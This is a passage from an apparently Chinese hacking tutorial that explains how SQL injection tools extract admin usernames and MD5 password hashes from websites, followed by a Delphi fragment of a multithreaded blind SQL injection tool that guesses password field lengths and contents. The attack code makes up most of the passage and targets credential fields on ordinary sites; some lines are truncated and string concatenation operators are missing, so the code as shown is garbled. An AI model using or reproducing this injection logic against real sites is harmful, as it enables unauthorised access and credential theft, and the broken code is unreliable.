上圖只是對(duì)一個(gè)網(wǎng)站注入點(diǎn)的工具檢測(cè)，當(dāng)然看到了結(jié)果掃出來的密碼為16位的md5加密碼，但我們可以通過md5密碼破解工具進(jìn)行破解的。然后找 到后臺(tái)用所得的用戶名和密碼進(jìn)行登錄即可。對(duì)于黑客軟件，其實(shí)并不是我們想象的那么復(fù)雜，只是根據(jù)掌握的漏洞信息提交相應(yīng)該的數(shù)據(jù)罷了，我們看下下面一段 用delphi寫的注入的片段就清楚不過了。這里控件的設(shè)置和線程的創(chuàng)建略，我們主要是看看猜解的過程，如下：
procedure TMainForm.GuessContProc(ListInt: integer); { SQL注入 - 多線程猜解字段內(nèi)容 }
function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string;
begin
Result := Url ’ and exists(select * from ’ TableName ’ where len(’ FieldName ’)’ LevelStr IntToStr(Len) ’ and id=(Select max(id) From ’ TableName ’ where id in (select top ’ TOPStr ’ id from ’ TableName ’ Order by id)))’
end;
var
TableName: string;
FieldName, S: string;
ContentInt: integer;
i, Len, LengthInt, N: integer;
GridCount: integer;
Colu: TColumn;
FlagBool: boolean;
begin
Len := 0;
LengthInt := 0;
FlagBool := True;
TableName := TableNameLst.Items[TableNameLst.Itemindex];
FieldName := Memo2.Lines[ListInt];
if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or
(LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密碼’) or
(LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) then
begin
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);
if ContentInt >= and1Num then
begin
SqlResultMemo.Lines.Add(FieldName ’長度: 16’);
LengthInt := 16
end
else
begin
while (Len
begin
application.ProcessMessages;
inc(Len, 2);
Pane1.Caption := ’正在檢測(cè)長度:Len(’ FieldName ’)=’ inttostr(Len);
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
if ContentInt >= and1Num then
begin
for N := Len - 1 to Len do
begin
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
if ContentInt >= and1Num then
begin
LengthInt := N;
SqlResultMemo.Lines.Add(FieldName ’長度: ’ inttostr(N));
FlagBool := False;
Break;
end; // if
end; // for
end; // if
end; // while
end;
end
else
begin
while (Len
begin
application.ProcessMessages;
inc(Len, 2);
Pane1.Caption := ’正在檢測(cè)長度:Len(’ FieldName ’)=’ inttostr(Len);
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
if ContentInt >= and1Num then
begin
for N := Len - 1 to Len do
begin
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
if ContentInt >= and1Num then
begin
LengthInt := N;
SqlResultMemo.Lines.Add(FieldName ’長度: ’ inttostr(N));
FlagBool := False;
Break;
end; // if
end; // for
end; // if
end; // while
end;
GuessLsv.Clear;
if Len >= 50 then
begin
sql_EdUrl.Enabled := True;
Sql_GuessTable.Enabled := True;
TableNameLst.Enabled := True;
FieldNameLst.Enabled := True;
application.MessageBox(’列名長度大于50,猜解失敗!’, ’提示’, 32);
Exit;
end;
Pane1.Caption := ’正在檢測(cè)’ FieldName ’的內(nèi)容...’;
GuessLsv.Update;
if LengthInt = 5 then
begin
ContentInt := Get_HttpSize(Sql_EdUrl.Text ’ and exists (select top ’ sqlEdTop.Text ’ ’ FieldName ’ from ’ TableName ’ where instr(’ FieldName ’,’’admin’’)=1 and len(username)=5)’);
if ContentInt >= and1Num then
begin
s := ’admin’;
for i := 1 to 5 do
begin
application.ProcessMessages;
with GuessLsv.Items.Add do
begin
caption := ’第’ inttostr(i) ’位’;
SubItems.Add(s);
end;
sleep(60);
GuessLsv.Update;
end;
inc(SQL_ScanContent_ThreadCreateCount);
StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’admin’;
StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’檢測(cè)中...’;
SqlResultMemo.Lines.Add(FieldNameLst.Items[FieldNameLst.Itemindex] ’內(nèi)容:admin’);
if SQL_ScanContent_ThreadCreateCount
GuessContProc(SQL_ScanContent_ThreadCreateCount - 1);
Exit;
end
else
begin
for i := 1 to LengthInt do
begin
application.ProcessMessages;
with GuessLsv.Items.Add do
begin
caption := ’第’ inttostr(i) ’位’;
SubItems.Add(’檢測(cè)中’);
end;
sleep(30);
end;
end;
end
else
begin
for i := 1 to LengthInt do
begin
application.ProcessMessages;
with GuessLsv.Items.Add do
begin
caption := ’第’ inttostr(i) ’位’;
SubItems.Add(’檢測(cè)中’);
end;
sleep(30);
end;
end;
從上面的代碼中，我們可以看出，黑客軟件只是代替了手工操作，通過多線程更進(jìn)一步提高了猜解的速度，但猜解的表和字段還得我們自己設(shè)定，然后通過 post提交我們?cè)O(shè)定的格式(其中url中的 是空格的意思，因?yàn)樵诰W(wǎng)址后面執(zhí)行相應(yīng)的sql語句時(shí)都要有相應(yīng)的空格)，按照我們?cè)O(shè)定的表和字段猜解出相應(yīng)的用戶名和密碼內(nèi)容。